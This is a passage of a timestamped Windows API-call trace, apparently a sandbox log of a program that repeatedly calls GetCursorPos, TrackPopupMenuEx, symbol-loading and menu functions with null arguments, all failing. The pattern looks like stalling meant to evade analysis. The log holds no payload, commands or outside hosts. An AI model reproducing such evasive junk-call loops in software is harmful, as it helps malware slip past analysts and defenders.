lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.222] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.222] GetLastError () returned 0x579 [0185.222] SetLastError (dwErrCode=0x579) [0185.222] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.222] SymCleanup (hProcess=0x0) returned 0 [0185.222] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.222] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.222] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.223] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.223] GetLastError () returned 0x579 [0185.223] SetLastError (dwErrCode=0x579) [0185.223] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.223] SymCleanup (hProcess=0x0) returned 0 [0185.223] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.223] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.223] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.223] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=559, param_4=47, param_5=0x0, param_6=0x0) returned 0 [0185.223] GetLastError () returned 0x579 [0185.231] SetLastError (dwErrCode=0x579) [0185.231] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.231] SymCleanup (hProcess=0x0) returned 0 [0185.231] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.231] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.232] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.232] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.232] GetLastError () returned 0x579 [0185.232] SetLastError (dwErrCode=0x579) [0185.232] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.232] SymCleanup (hProcess=0x0) returned 0 [0185.232] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.232] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.232] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.232] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.232] GetLastError () returned 0x579 [0185.232] SetLastError (dwErrCode=0x579) [0185.232] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.232] SymCleanup (hProcess=0x0) returned 0 [0185.232] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.232] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.232] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.232] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.232] GetLastError () returned 0x579 [0185.232] SetLastError (dwErrCode=0x579) [0185.232] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.232] SymCleanup (hProcess=0x0) returned 0 [0185.233] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.233] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.233] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.233] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.233] GetLastError () returned 0x579 [0185.233] SetLastError (dwErrCode=0x579) [0185.233] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.233] SymCleanup (hProcess=0x0) returned 0 [0185.233] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.233] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.233] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.233] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=355, param_4=299, param_5=0x0, param_6=0x0) returned 0 [0185.233] GetLastError () returned 0x579 [0185.233] SetLastError (dwErrCode=0x579) [0185.233] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.233] SymCleanup (hProcess=0x0) returned 0 [0185.233] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.233] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.233] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.233] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.233] GetLastError () returned 0x579 [0185.233] SetLastError (dwErrCode=0x579) [0185.233] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.234] SymCleanup (hProcess=0x0) returned 0 [0185.234] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.234] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.234] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.234] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.234] GetLastError () returned 0x579 [0185.234] SetLastError (dwErrCode=0x579) [0185.234] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.234] SymCleanup (hProcess=0x0) returned 0 [0185.234] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.234] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.234] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.234] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.234] GetLastError () returned 0x579 [0185.234] SetLastError (dwErrCode=0x579) [0185.234] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.234] SymCleanup (hProcess=0x0) returned 0 [0185.234] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.234] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.234] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.234] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.234] GetLastError () returned 0x579 [0185.234] SetLastError (dwErrCode=0x579) [0185.234] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.235] SymCleanup (hProcess=0x0) returned 0 [0185.235] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.235] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.235] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.235] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1301, param_4=437, param_5=0x0, param_6=0x0) returned 0 [0185.235] GetLastError () returned 0x579 [0185.235] SetLastError (dwErrCode=0x579) [0185.235] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.235] SymCleanup (hProcess=0x0) returned 0 [0185.235] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.235] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.235] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.235] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.235] GetLastError () returned 0x579 [0185.235] SetLastError (dwErrCode=0x579) [0185.235] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.235] SymCleanup (hProcess=0x0) returned 0 [0185.235] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.235] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.235] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.235] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.235] GetLastError () returned 0x579 [0185.235] SetLastError (dwErrCode=0x579) [0185.236] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.236] SymCleanup (hProcess=0x0) returned 0 [0185.236] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.236] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.236] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.236] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.236] GetLastError () returned 0x579 [0185.236] SetLastError (dwErrCode=0x579) [0185.236] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.236] SymCleanup (hProcess=0x0) returned 0 [0185.236] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.236] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.236] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.236] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.236] GetLastError () returned 0x579 [0185.236] SetLastError (dwErrCode=0x579) [0185.236] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.236] SymCleanup (hProcess=0x0) returned 0 [0185.236] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.236] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.236] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.236] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1412, param_4=272, param_5=0x0, param_6=0x0) returned 0 [0185.236] GetLastError () returned 0x579 [0185.236] SetLastError (dwErrCode=0x579) [0185.237] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.237] SymCleanup (hProcess=0x0) returned 0 [0185.237] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.237] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.237] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.237] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.237] GetLastError () returned 0x579 [0185.237] SetLastError (dwErrCode=0x579) [0185.237] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.237] SymCleanup (hProcess=0x0) returned 0 [0185.237] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.237] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.237] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.237] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.237] GetLastError () returned 0x579 [0185.237] SetLastError (dwErrCode=0x579) [0185.237] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.237] SymCleanup (hProcess=0x0) returned 0 [0185.237] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.237] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.237] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.237] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.237] GetLastError () returned 0x579 [0185.237] SetLastError (dwErrCode=0x579) [0185.238] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.238] SymCleanup (hProcess=0x0) returned 0 [0185.238] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.238] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.238] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.238] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.238] GetLastError () returned 0x579 [0185.238] SetLastError (dwErrCode=0x579) [0185.238] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.238] SymCleanup (hProcess=0x0) returned 0 [0185.238] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.238] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.238] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.238] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=185, param_4=385, param_5=0x0, param_6=0x0) returned 0 [0185.238] GetLastError () returned 0x579 [0185.238] SetLastError (dwErrCode=0x579) [0185.238] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.238] SymCleanup (hProcess=0x0) returned 0 [0185.238] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.238] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.238] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.238] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.238] GetLastError () returned 0x579 [0185.239] SetLastError (dwErrCode=0x579) [0185.239] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.239] SymCleanup (hProcess=0x0) returned 0 [0185.239] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.239] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.239] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.239] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.239] GetLastError () returned 0x579 [0185.239] SetLastError (dwErrCode=0x579) [0185.239] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.239] SymCleanup (hProcess=0x0) returned 0 [0185.239] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.239] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.239] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.239] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.239] GetLastError () returned 0x579 [0185.240] SetLastError (dwErrCode=0x579) [0185.240] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.240] SymCleanup (hProcess=0x0) returned 0 [0185.240] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.240] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.240] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.240] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.240] GetLastError () returned 0x579 [0185.240] SetLastError (dwErrCode=0x579) [0185.240] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.240] SymCleanup (hProcess=0x0) returned 0 [0185.240] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.240] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.240] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.240] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1216, param_4=674, param_5=0x0, param_6=0x0) returned 0 [0185.240] GetLastError () returned 0x579 [0185.240] SetLastError (dwErrCode=0x579) [0185.240] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.240] SymCleanup (hProcess=0x0) returned 0 [0185.240] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.240] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.240] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.240] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.240] GetLastError () returned 0x579 [0185.240] SetLastError (dwErrCode=0x579) [0185.241] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.241] SymCleanup (hProcess=0x0) returned 0 [0185.241] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.241] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.241] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.241] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.241] GetLastError () returned 0x579 [0185.241] SetLastError (dwErrCode=0x579) [0185.241] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.241] SymCleanup (hProcess=0x0) returned 0 [0185.241] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.241] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.241] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.241] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.241] GetLastError () returned 0x579 [0185.241] SetLastError (dwErrCode=0x579) [0185.241] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.241] SymCleanup (hProcess=0x0) returned 0 [0185.241] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.241] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.241] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.241] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.241] GetLastError () returned 0x579 [0185.241] SetLastError (dwErrCode=0x579) [0185.242] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.242] SymCleanup (hProcess=0x0) returned 0 [0185.242] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.242] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.242] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.242] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=93, param_4=876, param_5=0x0, param_6=0x0) returned 0 [0185.242] GetLastError () returned 0x579 [0185.242] SetLastError (dwErrCode=0x579) [0185.242] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.242] SymCleanup (hProcess=0x0) returned 0 [0185.242] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.242] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.242] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.242] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.242] GetLastError () returned 0x579 [0185.242] SetLastError (dwErrCode=0x579) [0185.242] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.242] SymCleanup (hProcess=0x0) returned 0 [0185.242] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.242] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.242] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.242] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.242] GetLastError () returned 0x579 [0185.242] SetLastError (dwErrCode=0x579) [0185.242] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.243] SymCleanup (hProcess=0x0) returned 0 [0185.243] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.243] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.243] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.243] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.243] GetLastError () returned 0x579 [0185.243] SetLastError (dwErrCode=0x579) [0185.243] 